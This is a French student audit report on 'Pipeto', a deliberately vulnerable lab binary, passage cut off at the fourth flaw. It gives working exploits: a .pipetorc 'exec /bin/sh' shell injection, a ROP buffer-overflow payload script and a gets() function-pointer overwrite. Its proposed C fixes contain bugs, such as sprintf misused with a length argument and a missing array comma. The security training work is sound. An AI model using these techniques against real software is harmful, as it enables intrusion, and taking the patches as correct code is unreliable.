

Rapport Pipeto

Par :

Grégoire Fageot

Jean-Baptiste Lamy-Floret



Introduction au projet

Dans le cadre de notre formation en cybersécurité offensive et défensive, **Pipeto** nous plonge dans un scénario réaliste d'audit de sécurité. Il simule une mission critique confiée à **The Stone Corporation**, une entreprise de cybersécurité mandatée pour sécuriser le logiciel de contrôle d'une centrale nucléaire appartenant à **The Obsidian Republic**. Ce projet met en scène une grande menace orchestrée par une organisation clandestine nommée **G.O.L.E.M.**, spécialisée dans le sabotage informatique silencieux.

L'objectif principal est de mener un **audit complet de l'application fournie** :

- En première partie du projet, nous avons la phase **Black Box**, où nous devons identifier et exploiter les failles présentes dans le binaire seulement. Simulant un environnement où le code source n'est pas accessible.
- En deuxième partie du projet, nous avons la phase **White Box**, où le code source nous est révélé. Cela permet une analyse approfondie des vulnérabilités identifiées auparavant et un visuel sur celles encore inconnues.
- Enfin, en troisième partie du projet, il nous est demandé de **corriger l'ensemble des failles de sécurité** détectées, tout en respectant les exigences du client : Utilisation exclusive du langage C, respect du coding-style Epitech, et production de patchs via git.

Pipeto est une première expérience et une initiation au principe de **purple team** en cybersécurité :

- Côté **Red Team**, il nous entraîne à identifier et exploiter des failles dans une logique d'attaque réaliste.
- Côté **Blue Team**, il nous apprend à corriger proprement les vulnérabilités tout en assurant le bon fonctionnement du programme à l'aide de **tests unitaires**.

Ce rapport présente les **vulnérabilités identifiées**, les **techniques d'exploitation utilisées** ainsi que les **corrections proposées**. Les failles sont classées par ordre de criticité. Ce document reflète une démarche rigoureuse et professionnelle, conforme aux standards d'un audit de sécurité réel.

Préliminaires du projet

Pour lancer le binaire faites simplement “**./pipeto**” :

```
→ binary ./pipeto  
pipeto>
```

Une fois le programme lancé, utilisez la commande “**help**” afin de découvrir les commandes exécutables dans le programme :

```
pipeto> help  
Available commands :  
- init_reactor: Initialize the reactor for operation.  
- check_reactor_status: Check the current status of the reactor.  
- activate_emergency_protocols: Activate emergency protocols (requires admin).  
- simulate_meltdown: Simulate a reactor meltdown for testing purposes.  
- check_cooling_pressure: Check the pressure in the cooling system.  
- send_status_report: Send a status report to the control center.  
- monitor_radiation_levels: Monitor radiation levels in the reactor.  
- set_reactor_power: Adjust the reactor's power output.  
- run_diagnostic: Run a full diagnostic on the reactor systems.  
- enable_remote_access: Enable or disable remote access to the reactor.  
- quit: Exit the console.  
- help: Display this help message.  
- load_fuel_rods: Load fuel rods into the reactor.  
- log_system_event: Log a system event.  
- history: Display command history.  
- !n: Execute command number n from history.- load_config: Load configuration from a file.  
- configure_cooling_system: Configure the cooling system.  
---- External libraries ----  
- init_steam_turbine: Initialize the turbine.  
- read_turbine_config: Read the turbine configuration.  
- run_turbine: Run the turbine.  
- turbine_temperature: Change the turbine temperature.  
- turbine_remote_access: Remote access to the turbine.  
  
Configuration:  
- .pipetorc: Create this file in your home directory or current directory  
to automatically execute commands at startup.  
Use 'exec <command>' to execute shell commands.
```

Pour pouvoir utiliser les commandes de la librairie “**libpepito.so**” faites cette commande :

```
→ binary git:(main) ✘ export LD_LIBRARY_PATH=.  
./pipeto
```

Vous pouvez désormais parcourir ce rapport avec aisance ainsi qu'avec une meilleure compréhension des enjeux.

Faille 1, .pipetorc :

Cette faille est critique, car elle permet une exécution de code arbitraire en injectant directement des commandes dans un fichier de configuration. Le programme lit et exécute du contenu externe sans validation, ce qui ouvre la porte à des attaques de type "commande cachée" ou "arrière-plan malveillant", surtout en l'absence de contrôles d'intégrité ou de restrictions sur le contenu du fichier .pipetorc.

Cette faille est une commande arbitraire via injection dans un fichier de configuration. Elle permet à un attaquant de placer des lignes commençant par exec dans .pipetorc pour exécuter n'importe quelle commande système à chaque lancement du binaire. Pire encore, l'utilisation directe de printf(line) sans format spécifié introduit une vulnérabilité de type format string, qui peut permettre de lire ou d'écrire arbitrairement en mémoire. Ces deux failles combinées exposent le système à une compromission totale, révélant une absence de filtrage du contenu et une mauvaise gestion des fonctions à risque.

Cette faille se trouve dans le fichier “**src/utils.c**”, au niveau de la fonction suivante : “**load_pipetorc**”.

Nous avons découvert cette faille lors de l'audit en **White Box**.

Démonstration :

Nous écrivons un commande bash dans le fichier .pipetorc :

```
→ Pipeto git:(main) echo 'exec /bin/sh' > .pipetorc
```

Nous remarquons que lorsque nous lançons “./pipeto”, un shell est bel et bien lancé :

```
→ Pipeto git:(main) X ./pipeto
$ ls
Data  include  libpepito.so  Makefile  pipeto  README.md  src
$ whoami
gr-goire-fageot
$ sudo su
[sudo] password for gr-goire-fageot:
```

Nous regardons le code source afin d'obtenir plus d'informations :

```
void load_pipetorc() {
    FILE *rc_file;
    char line[1024];
    char cmd[1100];

    rc_file = fopen(".pipetorc", "r");
    if (!rc_file) {
        char *home = getenv("HOME");
        if (home) {
            char home_rc[1024];
            snprintf(home_rc, sizeof(home_rc), "%s/.pipetorc", home);
            rc_file = fopen(home_rc, "r");
        }
    }

    if (!rc_file) {
        return;
    }

    while (fgets(line, sizeof(line), rc_file)) {
        if (line[0] == '#' || line[0] == '\n') {
            continue;
        }
        line[strcspn(line, "\n")] = '\0';

        if (strncmp(line, "exec ", 5) == 0) {
            snprintf(cmd, sizeof(cmd), "%s", line + 5);
            system(cmd);
        } else {
            printf("Pipeto command: ");
            printf(line);
            printf("\n");
        }
    }
}
```

Nous remarquons que la fonction exécute n'importe quelle commande système grâce à la fonction “**system**”.

Résumé des commandes à exécuter afin de pouvoir utiliser n'importe quelle fonction système :

[echo ‘exec “nom de la commande” ’ > .pipetorc]

Correction de .pipetorc :

Avant la correction :

```
void write_color(int fd, const char *color, const char *str) {
    if (fd < 0 || !color || !str)
        return;
    dprintf(fd, "%s%s%s", color, str, CRESET);
}

void load_pipetorc() {
    FILE *rc_file;
    char line[1024];
    char cmd[1100];

    rc_file = fopen(".pipetorc", "r");
    if (!rc_file) {
        char *home = getenv("HOME");
        if (home) {
            char home_rc[1024];
            snprintf(home_rc, sizeof(home_rc), "%s/.pipetorc", home);
            rc_file = fopen(home_rc, "r");
        }
    }

    if (!rc_file) {
        return;
    }

    while (fgets(line, sizeof(line), rc_file)) {
        if (line[0] == '#' || line[0] == '\n') {
            continue;
        }
        line[strcspn(line, "\n")] = '\0';

        if (strncmp(line, "exec ", 5) == 0) {
            snprintf(cmd, sizeof(cmd), "%s", line + 5);
            system(cmd);
        } else {
            printf("Pipeto command: ");
            printf(line);
            printf("\n");
        }
    }
}
```

Après la correction :

```
void write_color(int fd, const char *color, const char *str)
{
    if (fd < 0 || !color || !str)
        return;
    dprintf(fd, "%s%s%s", color, str, CRESET);
}

static int execute_command(char *cmd)
{
    for (int i = 0; command_table[i].name != NULL; i++) {
        if (strcmp(cmd, command_table[i].name) == 0) {
            command_table[i].func(cmd);
            return 0;
        }
    }
    fprintf(stderr, "Unknown command: '%s'\n", cmd);
    return -1;
}

static FILE *open_rc_file(void)
{
    FILE *rc_file = fopen(".pipetorc", "r");
    const char *home = NULL;
    char *home_rc = NULL;
    int len = 0;

    if (rc_file)
        return rc_file;
    home = getenv("HOME");
    if (home) {
        len = strlen(home) + strlen("./.pipetorc") + 1;
        home_rc = malloc(len);
        if (!home_rc)
            return NULL;
        sprintf(home_rc, len, "%s/.pipetorc", home);
        rc_file = fopen(home_rc, "r");
        free(home_rc);
    }
    return rc_file;
}
```

```
static void process_line(const char *line)
{
    char *clean_line = NULL;
    char *cmd = NULL;

    if (line[0] == '#' || line[0] == '\n')
        return;
    clean_line = strdup(line);
    if (!clean_line)
        return;
    clean_line[strcspn(clean_line, "\n")] = '\0';
    if (strncmp(clean_line, "exec ", 5) == 0) {
        cmd = clean_line + 5;
        execute_command(cmd);
    } else
        printf("Pipeto command: %s\n", clean_line);
    free(clean_line);
}

static void process_rc_file(FILE *rc_file)
{
    char *line = NULL;
    int len = 0;

    while (getline(&line, &len, rc_file) != -1)
        process_line(line);
    free(line);
}

void load_pipetorc(void)
{
    FILE *rc_file = open_rc_file();

    if (!rc_file)
        return;
    process_rc_file(rc_file);
    fclose(rc_file);
}
```

Pour corriger cette faille, nous avons opté pour une approche robuste et sécurisée. Nous avons entièrement réécrit la fonction “**load_pipetorc**” en la découplant en fonctions spécialisées et en supprimant l’usage dangereux de system et de printf sans format. Désormais, la lecture du fichier “**.pipetorc**” se fait ligne par ligne avec getline, ce qui évite les dépassemens de buffer. Nous avons introduit une table de commandes internes “**(command_table)**” et un mécanisme d’exécution contrôlée via “**execute_command**”, ce qui élimine l’exécution arbitraire de commandes shell. Les lignes de configuration sont nettoyées et analysées dans “**process_line**”, avec une attention particulière portée à la validation du contenu. Enfin, l’accès au fichier de configuration est centralisé dans “**open_rc_file**”, avec une gestion mémoire sûre. Ces changements protègent efficacement contre l’injection de commandes et les vulnérabilités de type format string, tout en améliorant la lisibilité et la maintenabilité du code.

Le fichier .patch de cette fonction est le suivant : “**patch/utils.patch**”.

Nous n’avons pas fait de tests unitaires pour cette faille.

Faille 2, load_config :

Il s'agit d'une faille critique, car elle permet une prise de contrôle complète du flux d'exécution du programme, pouvant mener à une exécution arbitraire de code. Exploitable à distance et sans authentification, elle représente un risque majeur pour la sécurité du système.

Cette faille est un “Buffer Overflow”. Elle permet d'écraser des valeurs sur la pile, dont l'adresse de retour, afin de détourner le flux d'exécution vers une fonction interne non prévue à l'appel. L'utilisation d'un gadget ROP permet de contrôler les registres et de passer des arguments à cette fonction.

Cette faille se trouve dans le fichier “**src/commands/load_config.c**”, au niveau des fonctions et des variables suivantes : “**why_do_i_exist** ; **adminPassword** ; **check_password** ; **load_config**”.

Nous avons découvert cette faille lors de l'audit en **White Box**.

Démonstration :

Nous exécutons la commande “**load_config**” :

```
pipeto> load_config
Loading configuration file from ./config.ini
failure!
```

Nous remarquons que la commande lit un fichier “**config.ini**” nous le créons donc afin d’exploiter la faille

Lorsque nous écrivons une chaîne de 12 caractères ou plus dans le fichier “**config.ini**”, le programme segfault.

Nous regardons le code source afin d’obtenir plus d’informations :

```
void why_do_i_exist(void)
{
    asm volatile (
        "pop %rdi\n"
        "ret\n"
    );
}

static char const adminPassword[] = "ThisIsTheBestPassword";

void check_password(char *str)
{
    if (strcmp(str, adminPassword) == 0)
        printf("{Correct password! Welcome, admin.}\n");
}

void load_config(void)
{
    char array[8] = {};
    int fd = 0;

    dprintf(1, "Loading configuration file from ./config.ini\n");
    fd = open("./config.ini", O_RDONLY);
    read(fd, array, 100);
    if (0 /* TODO */ ) {
    } else {
        printf("failure!\n");
    }
    close(fd);
    return;
}
```

Nous remarquons plusieurs choses :

La fonction “**why_do_i_exist**” qui est un “**gadget ROP**” qui prend une valeur de la stack pour la mettre dans “**rdi**” et faire un retour (“**ret**”).

La taille du tableau “**array**” est de 8 mais le programme segfault à partir de 12 caractères dans “**config.ini**”. Les 4 premiers caractères sont donc importants.

Nous allons donc utiliser le très pratique outil de débug “**gdb**” :

```
→ binary gdb ./pipeto
(gdb) run
pipeto> load_config
Loading configuration file from ./config.ini
failure!

Program received signal SIGSEGV, Segmentation fault.
      in ?? ()

(gdb) i r
rax          0xffffffff 4294967295
rbx          0x40b3d0 4240336
rcx          0x7ffff7d166f4 140737351083764
rdx          0xfffffffffffffff88 -120
rsi          0x40b880 4241536
rdi          0x30313938 808532280
rbp          0x50617373776f7264 0x50617373776f7264
rsp          0x7fffffffdbb8 0x7fffffffdbb8
r8           0x7ffff7e03b20 140737352055584
r9            0x410 1040
r10          0x7ffff7c18928 140737350043944
r11          0x202 514
r12          0x1 1
r13          0x0 0
r14          0x0 0
r15          0x7ffff7ffd000 140737354125312
rip          0x40271c 0x40271c
eflags        0x10217 [ CF PF AF IF RF ]
cs            0x33 51
ss            0x2b 43
ds            0x0 0
es            0x0 0
fs            0x0 0
gs            0x0 0
fs_base       0x7ffff7f9a740 140737353721664
gs_base       0x0 0
```

Nous remarquons que “**rbp**” (une information dans la mémoire) n'est pas du tout habituel. Nous le traduisons d'hexadécimal en décimal :

“**0x50617373776f7264 = Password**”

“**rbp**” est devenu “**Password**”. Ce sont les 8 caractères à l'envers que nous avons écrit dans “**config.ini**” après “**012345678910**” (12 caractères) :

```
→ binary cat config.ini
012345678910drowssapTseBehTsIsihT
```

Nous savons donc que nous pouvons écrire dans la mémoire.

Nous venons ainsi, récupérer les adresses mémoire de la fonction “**why_do_i_exist**” de la chaîne de caractères “**ThisIsTheBestPassword**” et de la fonction “**check_password**” de cette manière :

```
→ binary strings -tx ./pipeto | grep "{Correct password! Welcome, admin.}"
5468 {Correct password! Welcome, admin.}
→ binary strings -tx ./pipeto | grep ThisIsTheBestPassword
5450 ThisIsTheBestPassword
→ binary objdump -d ./pipeto | grep 5468
4026a8: bf 68 54 40 00          mov    $0x405468,%edi
→ binary objdump -d ./pipeto | grep 5450
402697: be 50 54 40 00          mov    $0x405450,%esi
→ binary objdump -d ./pipeto | grep -A1 'pop *%rdi'
402682: 5f                      pop   %rdi
```

Nous avons trouvé les offset de “**check_password**” soit “**5468**” et de “**ThisIsTheBestPassword**” soit “**5450**” et la commande bash “**objdump -d**” nous a permis de trouver les adresses mémoire (voir la faille 2 ci-dessous si vous ne comprenez pas ce à quoi nous faisons référence).

Nous créons maintenant un script en langage python afin de tester différents pattern (exemples : A, AA, AAA, AAAA) :

```
→ binary cat payload.py
from pwn import *
import os

OFFSET_FILE = "offset.txt"

if os.path.exists(OFFSET_FILE):
    with open(OFFSET_FILE, "r") as f:
        offset = int(f.read().strip())
else:
    offset = 0

payload = b"A" * offset
payload += p64(0x402682)
payload += p64(0x405450)
payload += p64(0x4026a8)

with open("config.ini", "wb") as f:
    f.write(payload)

with open(OFFSET_FILE, "w") as f:
    f.write(str(offset + 1))
```

Ce script incrémente de 1 le pattern à chaque appel, c'est-à-dire que nous commençons à 0, puis si nous appelons le script alors le pattern devient “A”, puis nous appelons le script une deuxième fois, le pattern devient alors “AA” et ainsi de suite.

Le script transforme également les adresses mémoire en “**little endian**” car le fichier binaire “**pipeto**” est sur l’architecture “**x86_64**” (voir la faille 2 ci-dessous si vous ne comprenez pas ce à quoi nous faisons référence).

Nous créons un deuxième script nommé “**testing.sh**” (script bash) afin de n'avoir qu'à l'appeler pour effectuer toutes les étapes nécessaires à l'obtention du flag (lancer le script python “**payload.py**” puis lancer “**./pipeto**” et lancer la commande “**load_config**” dans “**pipeto**”):

```
→ binary cat testing.sh
#!/bin/bash

python3 payload.py

echo "load_config" | ./pipeto
```

Nous appelons “**testing.sh**” plusieurs fois et au bout de la 4ème fois (chiffre qui nous avait paru bizarre au début) :

```
→ binary git:(main) ✘ ./testing.sh
pipeto> Loading configuration file from ./config.ini
failure!
{Correct password! Welcome, admin.}
./testing.sh: line 5: 693210 Done                 echo "load_config"
693211 Segmentation fault      (core dumped) | ./pipeto
```

Nous trouvons ce flag :

{Correct password! Welcome, admin.}

Résumé des commandes à exécuter afin de trouver le flag caché :

```
[echo 'from pwn import *  
import os  
OFFSET_FILE = "offset.txt"  
if os.path.exists(OFFSET_FILE):  
    with open(OFFSET_FILE, "r") as f:  
        offset = int(f.read().strip())  
else:  
    offset = 0  
payload = b"A" * offset  
payload += p64(0x402682)  
payload += p64(0x405450)  
payload += p64(0x4026a8)  
with open("config.ini", "wb") as f:  
    f.write(payload)  
with open(OFFSET_FILE, "w") as f:  
    f.write(str(offset + 1))' > payload.py]  
[echo '#!/bin/bash  
python3 payload.py  
echo "load_config" | ./pipeto' > testing.sh]  
[chmod +x testing.sh]  
[./testing.sh] (5 fois)
```

Correction de la faille de “load_config” :

Avant la correction :

```
void why_do_i_exist() {
    asm volatile (
        "pop %rdi\n"
        "ret\n"
    );
}

static char const adminPassword[] = "ThisIsTheBestPassword";

void check_password(char *str)
{
    if (strcmp(str, adminPassword) == 0) {
        printf("{Correct password! Welcome, admin.}\n");
    }
}

void load_config()
{
    char array[8] = {};
    dprintf(1, "Loading configuration file from ./config.ini\n");
    int fd = open("./config.ini", O_RDONLY);

    read(fd, array, 100);
    if (0 /* TODO */) {
    } else {
        printf("failure!\n");
    }
    close(fd);
    return;
}
```

Après la correction :

```
static void encrypted_flag(void)
{
    unsigned char enc_flag[] = {0xdc, 0x0e, 0x71, 0xf1, 0xee, 0x0e, 0xb1,
                                0x8a, 0x78, 0x4a, 0x7d, 0xe2, 0x03, 0xc1, 0xa2, 0x91, 0x6d, 0x8e,
                                0x6f, 0x7f, 0x02, 0x41, 0x3f, 0xd5, 0x59, 0x1b, 0x3e, 0xe0, 0xeb,
                                0xfd, 0x6c, 0x04, 0x2b, 0xc5, 0x8a};
    unsigned char keys[] = {0xa7, 0x4d, 0x1e, 0x83, 0x9c, 0x6b, 0xd2, 0xfe,
                           0x58, 0x3a, 0x1c, 0x91, 0x70, 0xb6, 0xcd, 0xe3, 0x09, 0xaf, 0x4f,
                           0x28, 0x67, 0x2d, 0x5c, 0xba, 0x34, 0x7e, 0x12, 0xc0, 0x8a, 0x99,
                           0x01, 0x6d, 0x45, 0xeb, 0xf7};
    char decrypted[35];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[34] = '\0';
    printf("%s\n", decrypted);
}

void check_password(char *str)
{
    unsigned char encrypted_password[] = {0x91, 0x2c, 0x36, 0xe0, 0xd5, 0x11
                                         0x87, 0x9b, 0x3c, 0x69, 0x71, 0xfe, 0x27, 0xf3, 0xb6, 0x90, 0x7e,
                                         0xb2, 0x2b, 0x2d, 0xf7};
    unsigned char keys[] = {0xc5, 0x44, 0x5f, 0x93, 0x9c, 0x62, 0xd3, 0xf3,
                           0x59, 0x2b, 0x14, 0x8d, 0x53, 0xa3, 0xd7, 0xe3, 0xd0};
    char decrypted[17];

    for (unsigned int i = 0; i < sizeof(encrypted_password); i++)
        decrypted[i] = encrypted_password[i] ^ keys[i];
    decrypted[16] = '\0';
    if (strcmp(str, decrypted) == 0)
        encrypted_flag();
}

static int is_regular_file(const char *path, struct stat *st)
{
    if (stat(path, st) < 0) {
        perror("stat");
        return 0;
    }
    if (!S_ISREG(st->st_mode)) {
        fprintf(stderr, "%s is not a regular file\n", path);
        return 0;
    }
    return 1;
}
```

```
static char *allocate_buffer(size_t size)
{
    char *buffer = (char *)malloc(size + 1);

    if (!buffer)
        perror("malloc");
    return buffer;
}

static int read_file_into_buffer(const char *path, char *buffer, size_t size)
{
    int fd = open(path, O_RDONLY);
    ssize_t nread;

    if (fd < 0) {
        write(2, "Error: can't open config.ini\n", 29);
        return -1;
    }
    nread = read(fd, buffer, size);
    if (nread < 0) {
        write(2, "Error: can't read config.ini\n", 29);
        close(fd);
        return -1;
    }
    buffer[nread] = '\0';
    close(fd);
    return 0;
}

void load_config(void)
{
    const char *config_path = "./config.ini";
    struct stat st;
    char *buffer = NULL;

    if (!is_regular_file(config_path, &st))
        return;
    buffer = allocate_buffer(st.st_size);
    if (!buffer)
        return;
    dprintf(1, "Loading configuration file from %s\n", config_path);
    if (read_file_into_buffer(config_path, buffer, st.st_size) < 0) {
        free(buffer);
        return;
    }
    if (strstr(buffer, "mypasswordisthebestintheworld") != 0) {
        printf("success!\n");
        return;
    } else
        printf("failure!\n");
    free(buffer);
}
```

Pour corriger cette faille, nous avons opté pour une approche robuste et sécurisée. Nous avons entièrement réécrit la fonction “**load_config**” afin de gérer correctement la lecture du fichier config.ini sans provoquer de buffer overflow. Désormais, la taille du fichier est vérifiée avec stat, un buffer de taille appropriée, alloué dynamiquement, et la lecture est protégée contre les erreurs. Par ailleurs, le mot de passe “**ThisIsTheBestPassword**” ainsi que le flag **{Correct password! Welcome, admin.}** ont été chiffrés, rendant leur extraction via des outils comme strings beaucoup plus difficile.

Le fichier .patch de cette fonction est le suivant : “**patch/load_config.patch**”.

Nous n'avons pas fait de tests unitaires pour cette faille.

Faille 3, monitor_radiation_levels :

Cette vulnérabilité est critique, car elle permet un détournement direct du flux d'exécution en modifiant un mécanisme fondamental du programme : les appels de fonctions. En l'absence de mécanismes de protection tels que l'ASLR ou la vérification d'intégrité des pointeurs, elle peut facilement être exploitée pour exécuter du code arbitraire.

Cette faille est un “Buffer Overflow”. Elle permet de corrompre un pointeur sur fonction pour forcer l'exécution d'une fonction non appelée normalement. Cette technique est courante dans les attaques binaires de type exploitation mémoire, et montre un manque de protections contre les dépassemens de mémoire et l'exécution non intentionnelle de fonctions internes.

Cette faille se trouve dans le fichier
“src/commands/monitor_radiation_levels.c”, au niveau des fonctions suivantes : **“secret_function ; monitor_radiation_levels”**.

Nous avons découvert cette faille lors de l'audit en **White Box**.

Démonstration :

Nous exécutons la commande "monitor_radiation_levels" :

```
pipeto> monitor_radiation_levels  
Enter radiation levels:
```

Cette commande nous demande d'entrer le niveau de radiation souhaité. On rentre des chaînes de caractère aléatoire pour regarder le comportement de la commande :

```
pipeto> monitor_radiation_levels  
Enter radiation levels: 3  
Radiation Levels: 3  
Function Pointer: (nil)  
pipeto> monitor_radiation_levels  
Enter radiation levels: 12345678910  
Radiation Levels: 12345678910  
[1] 649415 segmentation fault (core dumped) ./pipeto
```

Nous pouvons observer que si nous rentrons une chaîne de plus de 10 caractères, le programme segfault.

Nous regardons donc le code source et nous observons que le buffer possède en effet une taille maximale de 10 caractères :

```
void secret_function(void)  
{  
    printf("{The stone isn't in the pocket anymore ...}\n");  
}  
  
void monitor_radiation_levels(void)  
{  
    char buffer[10];  
    void (*function_ptr)(void) = NULL;  
  
    printf("Enter radiation levels: ");  
    gets(buffer);  
    printf("Radiation Levels: %s\n", buffer);  
    if (function_ptr)  
        function_ptr();  
→ binary gdb ./pipeto  
    printf("Function Pointer: %p\n", (void *) function_ptr);  
}
```

Nous allons donc utiliser le très pratique outil de débug “**gdb**” :

```
(gdb) run  
pipeto> monitor_radiation_levels  
Enter radiation levels: 012356789ExempleTest  
Radiation Levels: 012356789ExempleTest  
  
Program received signal SIGSEGV, Segmentation fault.  
      in ?? ()  
(gdb) i r  
rax            0x0          0  
rbx            0x40b3d0    4240336  
rcx            0x0          0  
rdx            0x6554656c706d6578 7301572412291507576  
rsi            0x40b860    4241504  
rdi            0x7fffffff9a0  140737488345504  
rbp            0x7fffffffdba0 0x7fffffffdba0  
rsp            0x7fffffffdb80 0x7fffffffdb80  
r8             0x73        115  
r9             0x0          0  
r10            0xffffffff  4294967295  
r11            0x202       514  
r12            0x1          1  
r13            0x0          0  
r14            0x0          0  
r15            0x7ffff7ffd000 140737354125312  
rip            0x401f3a    0x401f3a  
eflags          0x10206   [ PF IF RF ]  
cs              0x33        51  
ss              0x2b        43  
ds              0x0          0  
es              0x0          0  
fs              0x0          0  
gs              0x0          0  
fs_base         0x7ffff7f9a740 140737353721664  
gs_base         0x0          0
```

Nous remarquons que “**rdx**” (une information dans la mémoire) n'est pas du tout habituel. Nous le traduisons d'hexadécimal en décimal :

“**0x6554656c706d6578 = eTelpmex**”

“**rdx**” est devenu “**eTelpmex**” soit à l'endroit “**xempleTe**”. Ce sont les 8 caractères que nous avons rentrés après “**0123456789E**” (11 caractères).

Nous savons donc que nous pouvons écrire dans la mémoire.

Sachant que dans le code source nous avons observé que la fonction “**secret_function**” qui contient le flag caché n'est pas appelée dans la fonction principale “**monitor_radiation_levels**”.

Mais dans “**monitor_radiation_levels**” il y a “**function_ptr**” qui est appelé mais qui est vide. Nous allons donc pouvoir exploiter une faille à partir de cette variable.

Nous devons trouver l'adresse mémoire de la fonction “**secret_function**” afin de l'appeler à la place de la variable “**function_ptr**”.

Pour se faire, nous devons trouver son offset (sa position relative dans l'espace mémoire).

Ainsi, nous utilisons le flag “**-tx**” de la commande bash “**strings**” que nous avons déjà utilisé auparavant. Nous utilisons également la commande “**grep**” sur le flag pour n'avoir que la ligne qu'on cherche :

```
→ binary strings -tx ./pipeto | grep "{The stone isn't in the pocket anymore ...}"  
4e28 {The stone isn't in the pocket anymore ...}
```

Nous trouvons son offset soit “**4e28**”.

Maintenant nous venons le chercher dans la mémoire du fichier binaire “**pipeto**” afin de trouver l'adresse mémoire de “**secret_function**” :

```
→ binary objdump -d pipeto | grep 4e28  
401ed7: bf 28 4e 40 00           mov    $0x404e28,%edi
```

Nous avons désormais l'adresse mémoire de “**secret_function**” soit “**0x401ed7**”.

Pour pouvoir injecter la bonne adresse mémoire dans le binaire “**pipeto**”, nous devons savoir sur quelle architecture il se situe.

Pour se faire, nous utilisons la commande bash “**checksec**” :

```
→ binary checksec pipeto
[*] '/home/gr-goire-fageot/binaryV2/binary/pipeto'
    Arch:      amd64-64-little
```

Nous savons désormais que “**pipeto**” est sur l’architecture “**x86_64**” et que les données sont stockées en “**little_endian**” :

“amd64” = architecture x86_64 (64 bits).

“64-little” = les données sont stockées en little endian.

Nous devons donc traduire l’adresse mémoire de “**secret_function**” en “**little-endian**” :

“0x401ed7 = \xd7\x1e\x40\x00\x00\x00\x00\x00”

Autre subtilité, nous ne pouvons pas injecter l’adresse manuellement dans le terminal après les 10 caractères max du buffer car le terminal les traduirait en ASCII (voir la **table ascii** si vous ne comprenez pas ce à quoi nous faisons référence).

Nous utilisons donc l’interpréteur “**pyhton3**” afin d’envoyer 10 caractères pour faire segfault le programme puis d’envoyer la bonne chaîne de caractères dans la mémoire pour appeler la fonction “**secret_function**” et ce grâce à la commande “**monitor_radiation_levels**” :

```
→ binary (echo "monitor_radiation_levels"; python3 -c 'import sys; sys
.stdout.buffer.write(b"A"*10 + b"\xd7\x1e\x40\x00\x00\x00\x00\n")')
| ./pipeto
pipeto> Enter radiation levels: Radiation Levels: AAAAAAAA@0
{The stone isn't in the pocket anymore ...}
[1]   664938 done                               ( echo "monitor_radiati
on_levels"; python3 -c ; ) |
664942 segmentation fault (core dumped) ./pipeto
```

Nous trouvons ce flag :

{The stone isn't in the pocket anymore ...}

Résumé de la commande à exécuter afin de trouver le flag caché :

```
[(echo "monitor_radiation_levels"; python3 -c 'import sys;  
sys.stdout.buffer.write(b"A"*10 +  
b"\xd7\x1e\x40\x00\x00\x00\x00\x00\n")') | ./pipeto]
```

Correction de “monitor_radiation_levels” :

Avant la correction :

```
void secret_function ()
{
    printf (
        "{The stone isn't in the pocket anymore ...}\n");
}

void monitor_radiation_levels ()
{
    char    buffer[10];
    void (* function_ptr) () = NULL;
    printf ("Enter radiation levels: ");
    gets (buffer);
    printf ("Radiation Levels: %s\n" ,buffer);
    if (function_ptr)
    {
        function_ptr();
    } else
    {
        printf ("Function Pointer: %p\n"
               ,( void * ) function_ptr);
    }
}
```

Après la correction :

```
void secret_function(void)
{
    unsigned char enc_flag[] = {0xec, 0x32, 0xaf, 0xc8, 0x4a, 0xe8, 0x8d,
        0xb2, 0x7f, 0x90, 0x78, 0xc8, 0x3d, 0xb1, 0x15, 0x15, 0xbe, 0x05,
        0xbc, 0x93, 0xd4, 0xe1, 0xc5, 0xe1, 0x63, 0xdf, 0x5e, 0xd6, 0xc7,
        0xef, 0x47, 0xc2, 0xac, 0xc8, 0xb1, 0xf3, 0x9d, 0xbe, 0xc9, 0xda,
        0xd0, 0x94, 0x15, 0xcb, 0x08};
    unsigned char keys[] = {0x97, 0x66, 0xc7, 0xad, 0x6a, 0x9b, 0xf9, 0xdd,
        0x11, 0xf5, 0x58, 0xa1, 0x4e, 0xdf, 0x32, 0x61, 0x9e, 0x6c, 0xd2, 0xb3,
        0xa0, 0x89, 0xa0, 0xc1, 0x13, 0xb0, 0x3d, 0xbd, 0xa2, 0x9b, 0x67, 0xa3,
        0xc2, 0xb1, 0xdc, 0x9c, 0xef, 0xdb, 0xe9, 0xf4, 0xfe, 0xba, 0x68};
    char decrypted[44];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[43] = '\0';
    printf("%s\n", decrypted);
}

void monitor_radiation_levels(void)
{
    char *buffer = NULL;
    size_t bufsize = 0;
    ssize_t linelen;
    void(*function_ptr)(void) = NULL;

    printf("Enter radiation levels: ");
    linelen = getline(&buffer, &bufsize, stdin);
    if (linelen < 0) {
        perror("Error reading input");
        free(buffer);
        return;
    }
    if (linelen > 0 && buffer[linelen - 1] == '\n')
        buffer[linelen - 1] = '\0';
    printf("Radiation Levels: %s\n", buffer);
    free(buffer);
    if (function_ptr)
        function_ptr();
    else
        printf("Function Pointer: %p\n", (void *)function_ptr);
}
```

Pour corriger cette faille, nous avons remplacé l'utilisation dangereuse de gets, qui permettait un buffer overflow exploitable pour détourner le pointeur sur fonction “**function_ptr**”, par un appel sécurisé à getline. Cette modification garantit une lecture dynamique et contrôlée de l'entrée utilisateur, empêchant toute écriture hors limites dans la mémoire. De plus, le flag “**{The stone isn't in the pocket anymore ...}**” a été chiffré afin qu'il ne puisse pas être retrouvé facilement dans les chaînes de caractères du binaire, rendant l'exploitation de la fonction “**secret_function**” beaucoup plus difficile.

Le fichier .patch de cette fonction est le suivant :
“**patch/monitor_radiation_levels.patch**”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 48% en lignes et 40% en branches.

Faille 4, set_reactor_power :

Cette vulnérabilité est de criticité élevée, selon le contexte d'exploitation. Elle peut compromettre la logique métier du programme et permettre d'accéder à des fonctionnalités non autorisées. Bien que moins directe qu'un Buffer Overflow, elle reste exploitable de manière fiable si le binaire est mal protégé ou si elle débouche sur d'autres failles en chaîne.

Cette faille est un “Integer Overflow”. Le programme ne vérifie pas si l'opération arithmétique (`input + 1000`) dépasse la capacité maximale d'un entier signé. Cela permet de contourner la logique prévue et de déclencher une réponse cachée.

Cette faille se trouve dans le fichier “`src/commands/set_reactor_power.c`”, au niveau de la fonction suivante : “`set_reactor_power`”.

Nous avons découvert cette faille lors de l'audit en **White Box**.

Démonstration :

Nous exécutons la commande “**set_reactor_power**” :

```
pipeto> set_reactor_power  
Enter reactor power level:
```

